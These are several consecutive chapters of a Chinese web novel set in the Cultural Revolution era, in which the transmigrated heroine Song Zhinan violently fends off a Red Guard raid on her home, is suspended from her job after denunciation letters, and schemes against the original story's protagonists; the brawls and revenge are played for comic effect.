宋知南的嘴角扬起一丝笑容:那是以前,现在我来了,游戏规则就该改改了。 这天,宋知南下班后又去侦查敌情,她走到一条巷子里,突然身后响起一阵脚步声,她急忙回头,见是一个扫地阿姨。她大约五十岁左右,头发全白,身形瘦削,低着头,慢慢地扫着地。 宋知南觉得有点奇怪,刚才听那脚步声,走得挺急,到了她面前又突然放慢速度。她不动声色地打量着这人,随时做好战斗准备。 扫地阿姨一直扫到宋知南面前,看看四周无人,飞快地说道:“那些人卖你的两箱子书里有毒草书籍,你赶紧把书处理了,有人要斗你。” 宋知南问道:“你为什么要告诉我这些?” 扫地阿姨突然抬起头,看着宋知南苦涩地笑笑:“那些书有一箱就是我家的,有一箱是图书馆馆长家的,我记得那箱子。” 说到这里,她又补充一句:“我以前是咱们市图书馆的管理员,你可能不记得我了。” 宋知南在脑中迅速地搜索消息,是的,这个阿姨原主确实认得,是图书馆的管理员。原主小学时就办了借书证,经常去图书馆读书借书,时间长了,她也就与管理员熟悉了。只是原主性格内向,不善于与人攀谈,与管理员只是神交,话都没说上几句。 只是原主印象中的那个阿姨长相清秀,很有书卷气,人也比现在年轻多了。这两年,她肯定没少受苦。 那天,宋知南买书时,阿姨正好在附近打扫卫生,她当时想出来制止宋知南,又怕被人抓到把柄批、斗她。她想去宋知南家里提醒她,又怕给她带来不必要的麻烦。她这几天一直关注着宋知南的动向,今天见时机成熟,就悄悄地跟了上来说了这番话。 阿姨又小声强调道:“快回去把书处理了,能扔就扔,不方便扔就……烧掉吧,安全最要紧。” 说完,她拖着扫帚就要离开。 宋知南上前两步,飞快地说道:“阿姨,我和你神交久矣,我以前想问你的名字总是不好意思,你现在能告诉我吗?” 阿姨停住脚步,慢慢转过身来,她那平静得近乎死寂的双眸中闪着一丝笑意:“我叫李书悦,书籍的书,喜悦的悦。” “我叫宋知南,知识的知,南方的南。” 李书悦轻轻一笑:“我知道,借书卡上有你的签名。”宋知南出现在图书馆的次数多,她的记性又好,所以就记住了她的名字。 李书悦怕人看见,加快脚步离开了。 宋知南快步追上去,说:“李老师,你放心,你们的书我会好好保存着,以后有机会再还给你们。” 宋知南的话刚说完,就听见前面传来了脚步声和说话声。李书悦换了一条巷子打扫去了,宋知南也只好离开。 宋知南走出巷子往家走去,她刚进厂区,就有人慌里慌张地跑过来告诉她:“小宋,不好了。有一群红小兵去你家了。你快躲一躲。” 宋知南眉毛一扬,这就来了?动作还挺快。 “谢谢了,我赶紧回去看看。” 路边有一块好看的砖头,宋知南弯腰捡起来放在书包里。朋友来了有好酒,敌人来了,她有砖头。 第68章 宋知南装好砖头, 快步往家走去。短短的一段路,先后有好几个人告诉她这个消息。 “宋同志, 你先别回家,赶紧躲起来吧,这些愣头青下手没个轻重。” “谢谢大家,没关系,我去会会这帮人。” 大家见宋知南神色从容平静,丝毫不慌,不由得心生佩服。没有急事的,都跟在她身后去看热闹,人越聚越多。 等到宋知南到家门口时,身后已经攒了浩浩荡荡一大群人。 宋知南远远地就看见一群身着草绿色军便服、束着棕色宽皮带、戴着红袖章的小年轻们。这帮人中大的十七八岁,小的十三四岁, 一个个脑袋高昂、气焰嚣张。 有人喊道:“宋知南回来了。” 那帮人中有三个人立即解掉腰间的宽皮带, 准备战斗。 宋知南从黄色挎包里掏出自行车链和一块板转。 围观众人目瞪口呆:宋知南, 不愧是你! 宋知南左手举着板砖,右手甩着自行车链, 高声问道:“你们谁是领头的?给我滚出来。” 一个十六七岁, 满脸青春痘的男子大步走了出来,昂着脑袋梗着脖子回答道:“我就是战斗队的队长王红兵。有人举报,你家里私藏大量毒草书籍。我们要搜查你家。” 宋知南厉声质问:“谁举报的?让他给我站出来。” “匿名举报。” 宋知南冷笑着说道:“匿名举报算什么本事,我实名举报王红兵家藏着电台,你们全家都是敌特。” 王红兵粗声嚷道:“你信口开河。宋知南,你可认罪?我劝你最好老实交代,坦白从宽, 抗拒从严。” 他身后的其他人大声附和:“坦白从宽,抗拒从严。革命无罪, 造反有理。” 王红兵手一挥:“给我搜。” 说完,他命令宋知南:“开门!” 宋知南废话不多说,抄起自行车链子对着王红兵的脸甩过去。 王红兵躲闪不及,疼得嘶了一声,随即上来跟宋知南厮打起来。 宋知南举起板砖照着王红兵的胳膊砸过去。 王红兵“啊”地一声惨叫,捂着胳膊后退几步。 其他的红小兵一拥而上。 宋知南一概不管,就只追着王红兵猛打。 打过一对多群架的人都知道,打人就要逮着一个狠打,震慑效果非常好。尤其是她逮的这个王红兵还是个头头。 别人是打狗给主人看,她是打主人给狗看,震慑力立即翻倍。 果然,其他人见宋知南下手这么狠,出手这么猛,不由得胆怯了。 王红兵也有两个铁杆支持者来上前帮忙。 宋知南一脚一个,连着踹飞两个。大力丸没白吃,这段日子也没白练。现在的她强得可怕。 哟,不是整天说绝对力量吗?她一个十五岁的女子打三个十六七岁的男孩,他们的绝对力量在哪儿呢?难道他们的潜力得等死后才能发挥出来? 宋知南心情舒畅,越打越顺畅。打过架的都知道,用暴力支配你厌恶的人绝对是有爽感的,也让人更自信。暴力是权力的一种表现,没有人不爱权力。 此时,王红兵的铁杆小弟被踢飞了,在地上呻、吟,再起不能。 其余的乌合之众,一个个站得远远的,仿佛被什么神秘力量硬控了一样,一动不敢动,就那么呆呆地看着宋知南爆揍他们老大。 围观群众瞠目结舌、目瞪口呆。他们单知道宋知南嘴上的战斗力一流,万万没想到她的拳头功夫也这么强。这么一个文武双全、敢打敢拼还不计后果的女战士,以后谁敢惹?惹不起,根本惹不起。 宋知南此时已经把王红兵摁在地上摩擦,她嫌自行车链和砖头打得不够爽,把武器扔到一边,直接上巴掌。 高端的打架往往只需要最朴素的工具,巴掌才最适合龙国男宝的体质。 巴掌与脸部直接碰撞在一起,奏起一曲悦耳的啪啪曲,让人越听越血脉喷张,豪情在胸中激荡,某种被压抑的基因在悄然觉醒:以后心情郁闷了,生理期综合症了,就找个男宝打一顿,他们皮厚弹性好,天生的挨揍圣体。 宋知南左打两巴掌,骂两句:“你还造反有理,反了天了。老娘今天就教你怎么做人。” 左边打完,她再打右边,主打一个左右对称:“你给我记住了,老娘以后见你一次打你一次。我要你一见到我就吓得尿裤子。” 宋知南决定从此以后要做一个性缩力拉满的悍妇,让男人一见到她就软。 大家看戏过足了瘾,终于有人想起当和事老了,出来劝宋知南别打了,差不多就行了。 宋知南低头一看,王红兵的猪脸红肿,鼻子流血,门牙掉了一颗。 宋知南脚踩着王红兵的胸口,睥睨着众人,大声问道:“还有谁?还有谁来跟我单挑?” 众人噤若寒蝉,无人敢应。 宋知南不屑地骂道:“一群怂货,还敢抄我的家。老娘就在这里告诉你们,上山猴遇见下山虎,社会不由你做主。老娘就是这地头的龙,压死你们这群土蛇。都给我听好了,以后遇见我要绕着走。要不我就让你们跪下叫奶奶。” 说完,她又狠狠地踢了下跟死猪一样的王红兵,迈着要杀人全家的步伐去开门。 打开门锁,她突然转过头,微微一笑:“你们还不走,是想进来再切磋切磋吗?” 这帮红小兵如梦初醒,立即一哄而散,他们跑了两步才想起地上还躺着三个人,赶紧回来扶着人离开。 围观群众也一步三回头地散去。 宋知南回到家里,撸撸猫摸摸狗,然后大口喝水大碗吃饭。吃饱喝足,正好接待一波来访的客人。 最先来的是李群英和边月。 边月听到师傅险被人批斗,气得直撸袖子:“师傅,我有力气,下次我帮你一起打。” 宋知南摆摆手:“不用,我一个人足矣。你不要参与。”边月一个小女孩万一被这帮人私下报复就不好了。 李群英在一旁忧心忡忡地说:“知南,你最好认真检查一下你屋里的书,该扔的扔,该烧的烧。你已经被人盯上了,这次不成说不定还有下次。” 宋知南胸有成竹:“放心,书我已经处理好了。” 她们正说着话,宋冬宝听说姐姐出事后也赶了过来。 李群英和边月一看人家弟弟来了,就提出告辞。 宋冬宝气喘吁吁地问道:“三姐,我在路上听说你把王红兵给揍了?” 宋知南一脸的云淡风轻:“是揍了。” 宋冬宝两眼放光,“姐,还是你厉害。王红兵在学校是一霸,大家都不敢惹他,老师也不敢管他。”他们学校初中部和高中部在一起。 宋知南问宋冬宝:“冬宝,你们学校有受过王红兵欺负的同学吗?你去召集一下他们,咱们一起去他家找他算帐。” 宋冬宝咂舌:“姐,你还要打呀?” 宋知南:“送佛送到西,打人打到底。我不把他们彻底打服了打残了,以后岂不是阿猫阿狗都能来抄我的家?” 宋知南给了宋冬宝一块钱的活动经费,让他去联络别人。结果倒好,宋冬宝联络了一下午,最后垂头丧气地回来说:“他们这帮怂货,心里都恨王红兵,但没人敢出头,说怕他以后报复。” 宋知南骂道:“真怂,说好的男人血性呢?” 宋冬宝听到同类被小看,也有些不服,挺着胸脯说:“三姐,我不怂,我陪你一起打。” 宋知南摇头:“就咱俩还不够,不够有威慑力。这样吧,你回去告诉你那帮同学,咱们晚上行动,让他们戴上口罩,蒙着脸,这样就不怕报复了。咱们取名叫‘黎明前的黑暗’战斗队。如果这都不敢,那就继续挨欺负吧。” 宋冬宝一脸佩服地看着宋知南。 当天晚上九点钟,一群蒙着脸的绿衣人高喊“造反有理,革命无罪”的口号,冲击了王红兵的家,王红兵再次被拖出来痛揍,战斗队从他家查抄出了毒草书籍。 王家哭声震天,街坊四邻无不震撼。 揍完王红兵,宋知南开始暗地里调查谁是他的老大,准备来个一网打尽。 宋知南自从痛揍了王红兵后,人气威望蹭蹭往上涨。附近的小流氓红小兵都对她心存忌惮,就连黑米都狗仗人势,出去遛弯都是高昂着狗头走路,遇到大狗也敢汪汪。她家的猫小虎走路不走猫步,人家迈着威风凛凛的虎步。 一人一猫一狗走在路上,都是一副随时要跟人干架的狠样,人畜见了都不由自主地避让三尺。 王红兵看在眼里,气在心里,他一瘸一拐地去找背后的老大告状。 李松听罢小弟的汇报,气得直捶桌子。他没想到这个宋知南这么难对付。 他安抚王红兵:“红兵,你先回家养伤。你放心,我一定会帮你找回场子。” 李松本来只是想让王红兵等人打头阵,吓唬吓唬宋知南,让她长长教训。万万没想到,宋知南直接当众痛揍王红兵,他若是不管,以后这一带的小弟们谁还敢跟他混?他的面子还要不要了? 李松当下便召集来兄弟们商量对策,大家一个个义愤填膺。 王左激动地说:“松哥,这小娘们太可恶了,我亲自带着人去教训她一顿。” 说着,他看向陈青:“青子,你跟我一起去。” 陈青目光闪烁,支支吾吾。 王左骂了一句:“草,你不会还对她旧情难忘吧?” 陈青的眼睛看向别处,小声说:“我跟她毕竟同学一场,实在下不去手。不过,你们对她怎样,我不管的。” 王左鄙视地白了陈青一眼。 李松却替陈青说话:“青子是个有情有义的人,让他去确实不适合。” 李松和王左心里打定了主意要好好教训宋知南,因为上次行动失败了,两人想了想,还是决定去先请示一下霍峥嵘和顾朝华。 第69章 顾朝华和霍峥嵘正在下棋, 江茶坐在霍峥嵘旁边看着。 李松和王左把事情一说,霍峥嵘语气平淡:“这个宋知南蹦跶得太久了, 她要是个男的,早挨了八百回揍了。” 王左在旁边说:“霍哥,坏分子不分男女,她一再挑战咱们的底线,我们不能再无底线地宽容下去了。” 霍峥嵘抬眸看了一眼顾朝华:“华哥,你对这事怎么看?” 顾朝华吊儿郎当地说:“宋知南这妞确实特别,我长这么大第一次见到这种人。你们怎么样我才懒得管,要是她最后实在太惨了,我不介意来个英雄救美。” 江茶揣摩着霍峥嵘和顾朝华的意思,现在霍父和顾家都是三令五申,不准他俩再惹事。两人也不想惹得一身腥, 但他们俩又很反感这个宋知南, 自然也不会阻拦别人去对付宋知南。 江茶做为两人的发言人, 对李松和王左说:“这种小事,你们自己看着办就行, 不用问他俩。注意把握适度, 尽量文斗别武斗。” 王左眼睛一亮,嫂子这是提醒他们不要忘了文斗,行,大字报和武力恐吓一起来,双管齐下,别说宋知南一个女孩,就是号称最硬气的道上大哥也得乖乖认怂。 他们两人这次也学乖了, 没有十足的把握不动手,一旦动手, 就必须一击必中。 王左和李松商量怎么对付宋知南,陈青在一旁沉默不语,全程不参与。 陈青怕这些兄弟对自己有看法,对外追加了一条解释,说他家里有年迈的爷爷奶奶要养活,他怕他们担心,所以尽量不惹事。 他的真实想法是,宋知南太狠了,文斗武斗她都不怕,她连王红兵都敢打,自然也不怕李松王左他们。 陈青从小被人欺负惯了,对于这种狠人有一种天然的恐惧。他只想挣点小钱,让日子好过些,这种见血的事他还是别参与了。至于偷偷去帮宋知南,那是不可能的,这个女人不知好歹让他丢尽了脸面,他恨不得对方再倒霉一些。 对于陈青的说法,大家表面上夸他孝顺,背地里议论他胆小怕事,担不起事儿。只有江茶能理解他,陈青对江茶感激的同时,又多了一丝莫名的情愫,要是世上的女人都像江茶这样温柔和气又善解人意就好了。只可惜,他家穷人丑,又没什么本事,配不上江茶这样的好姑娘。 王左和李松开始着手调查宋知南的社会关系。她有个哥哥去外省了,离得太远,没办法报复。还有个姐姐和弟弟,姐姐已婚,弟弟还在学校上学,可以教训教训弟弟。 另外宋知南还跟吴明珠陆诗月李群英来往密切,李松特意交代,不准动陆诗月,大家猥琐地相视而笑。 至于吴明珠,那是厂长千金,现在也不能动。李群英,他们暂时也不招惹,她妈出了名的不好惹和护犊子。 除了调查宋知南的人际关系,他们还仔细研究了她写的文章,试图从里面找出漏洞和破绽来。 李松王左这边正紧锣密鼓地准备着,宋知南正一边撸猫一边写举报信。她举报霍峥嵘李松等拉帮结派搞□□团伙、投机倒把;顾朝华家里有成分问题,来本地躲避风头,建议严查…… 所有她能想到的问题和罪名一古脑地写进去,有枣没枣打一杆子,万一有用呢。这些信是要送到市革委会的,捏造罪名,这帮人是专业的。 宋知南正写得投入,宋冬宝一放学就跑到宋知南家,急声说:“姐,不好了,我被小混混们盯上了。” 宋知南一边撸猫一边问:“你最近得罪谁了?” 宋冬宝皱着脸说:“姐,我最近只跟你一起干过坏事。我觉得肯定是王红兵那帮人在盯我。” 宋知南打量了宋冬宝一眼,这家伙四肢发达头脑简单,不能大用,但可小用。何况她目前无人可用,秃子当和尚将就材料用吧。 宋知南云淡风轻地说:“一群蝼蚁而已,怕什么?最近这段时间你注意点,尽量别走偏僻的巷子、小路,书包里装几样武器。他们动手,你就还手,只要不把人打死打残就没事,出了事姐给你兜着。” 宋冬宝心中感动,姐真是个干大事的料,瞧这话说得多豪气,出了事她兜着。 宋知南又给了宋冬宝五毛钱的活动经费:“你有空多去打听打听顾朝华霍峥嵘那帮人的消息和近况,可以自己打听,也可以托别人打听。打听完,汇总起来汇报给我,我以后有用。” 宋冬宝收到经费,喜不自胜,当下就拍着胸脯保证:“姐,你尽管放心好了,我一定包你满意。” 宋知南不但让宋冬宝去打探消息,她自己有时间也去打探消息。 周日中午,宋冬宝和宋知夏准时来到宋知南家帮忙干活。 宋知夏在家里做饭做家务,宋知南和宋冬宝出来采购和打探消息。 宋知南在路边看到一根又长又直的木棍,立即捡了起来,拿在手里比划几下说:“这根木棍真不错,打架挺顺手。” 宋冬宝面带诧异:“姐,你咋跟我的爱好一样呢?我看到好看的木棍也喜欢捡回去。” 宋冬宝一双眼睛四处寻觅着,终于,他也找到了一只勉强能入眼的木棍,姐弟俩一人扛着一根木棍大步前行。路过的行人时不时地瞥他们一眼。 恰在这时候,王红兵和他的三个小伙伴跟他们迎面相遇,这真是冤家路窄。 对面的四人也发现了宋知南姐弟俩,王红兵神色紧张,双眼充满着警惕。他们想换条路走,可是又觉得那样太丢面子了。上次已经丢过一次脸,这次再丢,他们以后还怎么出门? 四个人硬着头皮继续往前走。 宋知南手持武器,杀心自起。 她上次可是当众放过话的,见王红兵一回就打一回。她一个堂堂大女人,说话怎么能不算话? 宋知南握紧手中的木棍,吩咐宋冬宝:“冬宝,跟我一起打。” 宋冬宝啊了一声,有点反应不过来。 “他们没招惹咱们啊。” “上次招惹了,我说过,见他一次打一次,做人就要讲信用,说打他就打他。” 宋冬宝:“……” 宋知南吩咐完毕,拎着棍子就往前冲。 王红兵四人吓了一跳,他们预感遇到宋知南准没好事,果然祸事就来了。 王红兵强作镇定地质问道:“姓宋的,我们这次没招你没惹你,你要干吗?” 宋知南抬着下巴,睥睨着四人,冷冷地说:“我上次说见你一次打你一次,你当我说着玩儿呢?” 话音一落,木棒也随之落下。 王红兵吃了一棍,疼得直龇牙。 宋冬宝一看姐姐都动手了,他要不跟上显得他怂不积极,便也举着木棍冲过去:“王红兵你哪里跑——” 四人慌忙应战。他们虽然人多,但手中没有武器,而且战心不强,气势萎靡,一打就散,一打就跑。 双方交战不到两分钟,四个人就跑了三个,王红兵跑在最后面,他上次受的伤还没好利落,跑不快。 王红兵在前面跑,宋知南举着棍子在后面追,宋冬宝在旁边呐喊助威。 路边的行人不自觉地停下来看热闹。有人认出了王红兵,更多的人认出了宋知南。 “这不是妇联的那个宋同志吗?” “我的天,她不光嘴功好,手上功夫也不赖呀。” “岂止是不赖,你看她的手法,一看就是经常打架的。” “这姑娘以前挺老实的呀。” “以前是挺老实,听说她爸妈重男轻女,受到刺激了,从那以后就变了。” “哦哦。” …… 围观群众议论纷纷,指指点点。 很快就有人通知了王红兵他妈刘四平。 刘四平正在菜店排队买菜,一听说儿子被打,赶紧提着篮子跑了过来。 刘四平匆忙赶到现场,一把扯过儿子挡在身后,指着宋知南厉声问道:“你就是那个宋知南吧?我家红兵怎么着你了?你要下这么狠的手?” 宋知南用木棍拄着地,高声问道:“你就是王红兵的妈,你是怎么教孩子的?你儿子要搜查我家,我当时就放下一句话,我见他一次打一次。” 刘四平梗着脖子,高声说:“他不是没搜查成吗?你们后来不是领着人报复回去了吗?咋还没完没了了?我家红兵今年才十七,他还是个孩子呀。” 宋知南拖长声调:“哟,才十七呢。我才十五,我更是个孩子。” 宋冬宝在旁边大声附和:“我才十四,是孩子中的孩子。” 刘四平被堵得一时接不上话来。 杠精值加5。 但她毕竟经验丰富,很快就回过神来,求助于大伙:“大家来给我们评评理,我家红兵被人蛊惑做了错事,可他也受到教训了,你们看看他头上的伤,这腿都打瘸了,我家也被搜查过。这事是不是得扯平了?咋还揪着不放呢?谁家的孩子没犯过错,要都像她这样,这日子还过不过了?” 刘四平的话果然成功地挑动起了大家的情绪,他们也觉得宋知南的做法有些过分了。 于是就有理中客开始劝道:“是啊,宋同志,得饶人处且饶人,过去的事就让它过去吧。” “宋干事,你是妇联的干部,你得讲理呀。” …… 宋知南一把揪住一个理中客大声问道:“这位同志,你是认真的吗?王红兵可是高喊着‘革命有理,造反无罪’的红小兵哦,他可以无凭无据地带着人搜查我家哦,他今天能搜查我家,明天就能搜查你家,后天就能搜查在场所有人的家,到时候你们也要宽容哟。” 理中客被噎得说不上话来。 杠精值加50,宋知南一句话人杠了一群人。 宋知南又揪住第二个劝客:“你说我哪里不讲理了?你坦白交代,你跟王红兵是不是一伙的?为啥他带人抄我家时,不见你说一句话,现在我反击,你屁话连篇?” 那人也接不上话来,赶紧缩着脑袋退回人群。 杠精值加5。 宋知南锐利的目光环视众人:“你们还有谁想替王红兵说话,站出来一对一跟我说,别躲在人群里唧唧歪歪。” 她这么一说,大家反而不敢说了。 刘四平本来想利用群众的力量对付宋知南,一看这情形,索性往地上一坐,抱着脚开始嚎哭起来。 “我的天爷,我家是倒了什么血霉得罪了你。你干脆连我一起打死算了。” 宋知南用木棍点着刘四平和王红兵,厉声说道:“王红兵我打你是为了你好,既然你爸妈不会教你做人,就由我来教。我告诉你,我们外人可不是你爸妈,没义务惯着你。你以后做事前好好动动脑子想想,后果你能否承担得了?” 宋知南环视众人一圈后,放下一句话:“我,宋知南,不在乎名声,不在乎前途。以后谁让我不好过,我就让谁全家一辈子不好过。” 第70章 宋知南二次殴打王红兵之后, 就发现这小子是真怂了,也真怕了。他还有点利用价值, 下次找个时间把他堵在小巷里威胁威胁,就可以废物利用了。 没错,宋知南打算让王红兵去对付李松和王左他们,让狗去咬狗,才能狗尽其才。 王红兵当街被宋知南痛揍的事传得沸沸扬扬。有人说王红兵活该,也有人说宋知南太霸道了。反正说什么的都有。 但大家普遍达成一个共识:没有特别重大的利益冲突,不要轻易招惹宋知南。 俗话说得好,酒烈不喝,人狠不缠。像宋知南这种狠人,还是等待更狠的人来缠吧,他们普通人惹不起。 大家伙明面上不招惹宋知南, 私下里就不一定了。有人偷偷写举报信, 往工会和厂委办公室里塞。 有人举报宋知南不团结男同志, 举报她工作方式太激进,破坏社会和家庭和谐。 也有人举报她身为干部, 不顾影响, 当街殴打学生。 纺织厂不能随意辞退职工,但不辞退不代表日子就好过了。宋知南肯定得被领导批评,今年的先进工作者肯定跟她无缘。 工会和厂委的工作人员接到雪片似的举报信,不由得抚额叹息:这个小宋真是让人头痛。 给她做思想工作,没人说得过她。听说,吴厂长还挺欣赏她。这事该怎么办? 最后孙主席和孙主任让杨主任来给宋知南做思想工作,他们不管了。 宋知南得知消息后, 忍不住骂道:真不愧是姓孙的,都是我孙子。 杨主任做为宋知南的伯乐之一, 她必须得给予尊重。 因此,她这次没有怼天怼地,就那么乖巧地坐在对面听着。 杨主任说:“小宋啊,我也不想批评你,可又不得不说你两句。” 宋知南十分配合:“杨主任您是我的亲领导,您说什么我都认真听着。” 杨主任忍俊不禁,这领导还有亲的不亲的? 杨主任接着说:“小宋,举报信我看了,他们都说你不团结男同志,说你破坏职工的家庭和谐。” 宋知南把自己的工作记录呈上去,“杨主任,这是我这几个月的工作记录,您看看。我敢当着领袖的画像发誓,我没有一点私心。我说话完全以妇女的利益为出发点,我代表着最广大妇女同志的想法。” “咱们是妇联,我不替女同志说话总不能替男同志说话吧?您知道的,由于我国封建制度源远流长,我们背着沉重的历史包袱,导致有很多同志的思想还没彻底改造完毕。 我们妇女同志身上有形的枷锁没了,但无形的束缚还在。有相当一部分男同志,他们占着好处,占着利益,我稍一为女同志说话,他们就觉得我侵犯了他们的利益,冒犯了他们的尊严。要照他们这么说,那美帝总统林肯的废奴运动也没法进行了,因为他冒犯了奴隶主的利益;咱们当年的土改也没法进行了,因为触犯了地主阶级的利益。” 杨主任谨慎地说:“小宋,你说话要注意,这不一样的。你跟这些男同志之间的矛盾属于人民内部的分歧。” 宋知南说:“我也知道不一样,我一直没把他们当阶级敌人看待,可是他们现在却把我当阶级敌人看待。杨主任,您肯定也听说了,咱们纺织厂内部的男同志结成了联盟,说谁敢跟我处对象,他们就孤立谁。然后就是举报信,一封接一封的。你看看他们这行为这做派,我真的很寒心。难道他们家里就没有母亲和姐妹吗?” 杨主任心里也挺同情宋知南,可是厂里的命令她又不得不执行,她思考片刻,说:“小宋,做咱们这行有时免不了会受些委屈。你受的委屈比别人还多些。我是相信你的,也不想多批评你。厂里的意思是,你现在正处在风口浪尖上,建议你回去休息几天。”这就是让她停职反省了。 宋知南流露出一副“我委屈但我很坚强”的表情,轻轻叹了口气:“杨主任,也就是你跟我谈话我才听得进去。要是换了别人,我高低得分辩分辩。凭什么我勤勤恳恳地工作得到这种结果?现在,我什么也不说了,我听从厂里的安排。” 杨主任拍拍宋知南的肩膀:“小宋,厂里只是让你回去休在休息几天,你放心,你是有正式编制的职工,只要你没有犯特别严重的错误,厂里就不能开除你。” 杨主任怕宋知南年纪太轻,没经过什么事,以为厂里要开除她,赶紧出言安抚。 宋知南点点头:“好的。那我回去休息几天?” 杨主任想了一会儿说,“你回去等通知吧,一个星期差不多了。” “行。” 宋知南克制着自己的忧伤和愤怒,慢慢走出了办公室,背影显得倔强而孤单,让人看着不由得有些心酸。 宋知南一出了杨主任的办公室,嘴角忍不住上扬起来。真是天上掉馅饼,凭空多出七天的假期,还是带薪的。 这七天假期她要想好怎么过。 早上,窗外寒风呼啸,她在被窝里睡懒觉;上午,她左手撸猫,右手写作,顺便吃吃喝喝。 午饭吃个火锅煮个面条,晚饭白菜炖肉吃个够。 吃完午饭,搬个躺椅晒太阳,左手边是猫,右手边是狗,想撸哪只撸哪只。 期间肯定有人上门看她,谈笑有鸿儒,往来无白丁。想想就美,越想越美。 宋知南想到后面,嘴里不由自主地哼起了歌儿。 宋知南回到办公室时,何黛一脸愁容地看着她:“知南,你……还好吧?”都被停职反省了,怎么还唱上了?她不会是受刺激太过了吧? 宋知南的脸上立即换上一丝丁香一样的幽怨:“我就是要故作坚强,不能让那些人看我笑话。” 何黛怜惜地看着宋知南:“我就知道你其实是外刚内柔,让人心疼。” 宋知南第一次感受到了什么叫怜香惜玉,果然,还是女人会爱人。 宋知南接着交代工作:“我回去休息几天,工作就落在了你一个人身上,辛苦你了。” 何黛摇头:“我没事,我就是担心你。希望你能早点回来。” 宋知南:“我也没事儿,为了让杨主任和贺主任不夹在中间为难,我宁愿多休息几天。”最好是休息半个月。 两人执手相看愁脸,相互告别。 她们正说着话,贺胜男回来了,她看着宋知南欲言又止,最后说道:“小宋,委屈你了。你就好好休息几天,其他的别多想。” 宋知南故作坚强地笑笑:“没事的,贺主任,我能挺住,你放心,我会好好反省的。” 宋知南被停职反省的消息像风一样传遍了纺织厂。 工人们议论纷纷。 工人们分成两派,大多数女工替她鸣不平,人家小宋做错什么了要停职反省? 绝大多数男职工,互相挤眉弄眼,喜笑颜开:“哈哈哈,这个宋知南遭报应了吧?要我说,停职反省都太轻了,应该直接开除。” 有个别人甚至故意出去转一圈,假装偶遇宋知南,不为了别的,就为了看笑话。这人就是林光宗。 因为上次宋知南调解他家的事,让林光宗吃了瘪,他心里一直憋着一口气,现在这口气终于有机会出了。 林光宗是技术员,有一定的自由度。 还没下班,他就跟两个同事出来转悠,正好遇到收拾好东西准备回家的宋知南。 林光宗特意看看腕上的手表,故意问道:“宋同志,这还没到下班时间你就下班了呀?” 其他人也笑着附和林光宗:“就是啊,宋同志,你怎么下班这么早啊?” 宋知南一看到林光宗,就像警察看到小偷似的,双眼放光,今天的kpi来了。 宋知南高声问道:“是你呀林同志,对了,你的手表没送给你小舅子戴吗?你周末回你岳父家干活了吗?” 林光宗黑着脸回答:“我的手表为什么要给我小舅子?” 宋知南笑着说:“因为你是你小舅子的姐夫,当姐夫的咋能那么抠抠搜搜呢?人家王小雪当初嫁给你就图你实在大方,你可不能变得尖酸刻薄又小气抠门。” 林光宗冷笑不语。 宋知南又问:“林同志,今年寒假还接你老家亲戚来吗?” 林光宗咬着牙回答:“不接,没有你的允许我可不敢接。” 宋知南满意地点点头:“不错不错,真没想到,你竟然通人性了。” 说完,她飘然而去。 杠精系统播报:收获杠精值10。 宋知南走出老远,林光宗才反应过来:什么通人性,她在骂自己是狗! 林光宗气得头脑发蒙,可惜又找追不上宋知南,只能暗地里咬牙切齿。 宋知南被停职的消息传开后,得过她帮助的王小雪王翠花等人都显得心事重重。 宋知南是为了帮助她们才被人举报的,她们心里愧疚但又帮不上忙。 王小雪思来想去,悄悄写了一封表扬信塞到工会办公室里。 王翠花识的字不多,不会写表扬信,干脆送了一袋娘家寄来的瓜子给宋知南,安慰安慰她受伤的心灵。 李群英下了班也过来看宋知南,宋知南坐在温暖的炉子边,一边烤着馒头片一边说道:“领导让我反省,我就反省。我今天反省了一整天。” 李群英从她手里抢过一片焦黄的馒头,斜着眼问道:“你还真反省了?你不是说遇事不要反省自己,要让别人反省吗?” 宋知南认真地答道:“我今日三省吾身:我比男人更自信吗?我比男人脸皮更厚吗?我比男人更自私吗? 回答是没有,没有,还是没有。 我得出的结论是:我还不够自信,今后仍需努力。” 70-80 第71章 李群英一脸佩服:“果然, 不愧是你。” 她接着给宋知南分析举报信的事,“我偷偷向人打听了, 他们说举报你的那些信,内容大同小异,感觉像是批量写的,有人在故意整你。” 宋知南点头:“我觉得应该跟霍峥嵘和江茶有关,我得罪过他们这帮人。” 李群英问:“你怎么就跟他们杠上了?这俩人有些邪门。” 宋知南连忙问:“你也觉得他俩邪门?你说说他们邪门在哪里?” 李群英思索片刻,说道:“那个以前江茶被人称福气包,遇到什么事儿,别人倒霉,就她没事儿。那个霍峥嵘也差不多。他十来岁时遇到敌特,跟他一起的小男孩被敌特发现打死了,他活下来了, 还受到了表扬, 成为全厂区孩子崇拜的小英雄。后来还发生了别的事, 一次两次也就罢了,多次发生类似的事, 大家还私下里议论这两人有些邪门。” 不得不说, 李群英说到点子上了。因为这两人是原书男主女主,高光全在两人身上,其余人等都是工具人都得全力配合这两人的演出。 可是出了书中的世界,他们每一个配角都是有血有肉的真实人物,就像李群英在书中是个只出现一两次的路人甲。江茶形容她是个脾气古怪、长相丑陋的老姑娘,可是在宋知南这里,她却是一个做事有章法、风趣幽默的好邻居好朋友。 李群英突然想到什么, 赶紧补充道:“还有一个人,你也要注意。” “谁?” “李副厂长。” 宋知南想了一下, 才想起那个长得丑还话多的李副厂长。 李群英解释道:“有人传言,他是江茶的亲戚,同时也跟霍峥嵘的父亲走得很近,他这人有些阴险爱出风头,现在被吴厂长压在头上,两人时有矛盾。就拿你这次停职反省的事来说,吴厂长说没必要,但李副厂长坚持,厂委也坚持,最后就这样了。” 宋知南想起了原书中吴明珠最后的遭遇,从结果往前推,霍峥嵘和江茶联合别人斗倒了吴明珠的后台吴厂长,肯定是他们这方的人得利掌权,那么这个人应该就是李副厂长。 李副厂长有动机也有实力这么干。她得提醒吴明珠让她父亲注意李副厂长。 之前她接近吴明珠另有目的,就是想和她联手对付江茶,经过这段时间的接触,她发现吴明珠人挺可爱的,表面高傲冷漠但内在其实挺单纯,所谓的飞扬跋扈也就是比较自我。但站在主角江茶的立场来看,吴明珠特别招人讨厌,这大概就是人们所说的“视角即正义”吧。 李群英离开后,宋知南回到房间,关上房门,开始琢磨:她跟霍峥嵘江茶顾朝华三人的斗争已经到了白热化的地步。趁着她休假有时间,就来一个彻底了断吧。 她之前托吴明珠帮她打听顾朝华的地址,最好是他家对头的地址。后面,她还让宋知夏去搜集三人的资料。宋知夏不上班,时间比她自由。而且两人现在是统一战线,一荣俱荣,一损俱损,信任上应该没问题。 宋知南等吴明珠下班后就去她家找她,宋知南开门见山地说:“明珠,我告诉你一个消息:霍峥嵘和江茶要联合李副厂长对付你爸,你提醒你爸要小心。他们应该在悄悄搜集你爸的罪证。” 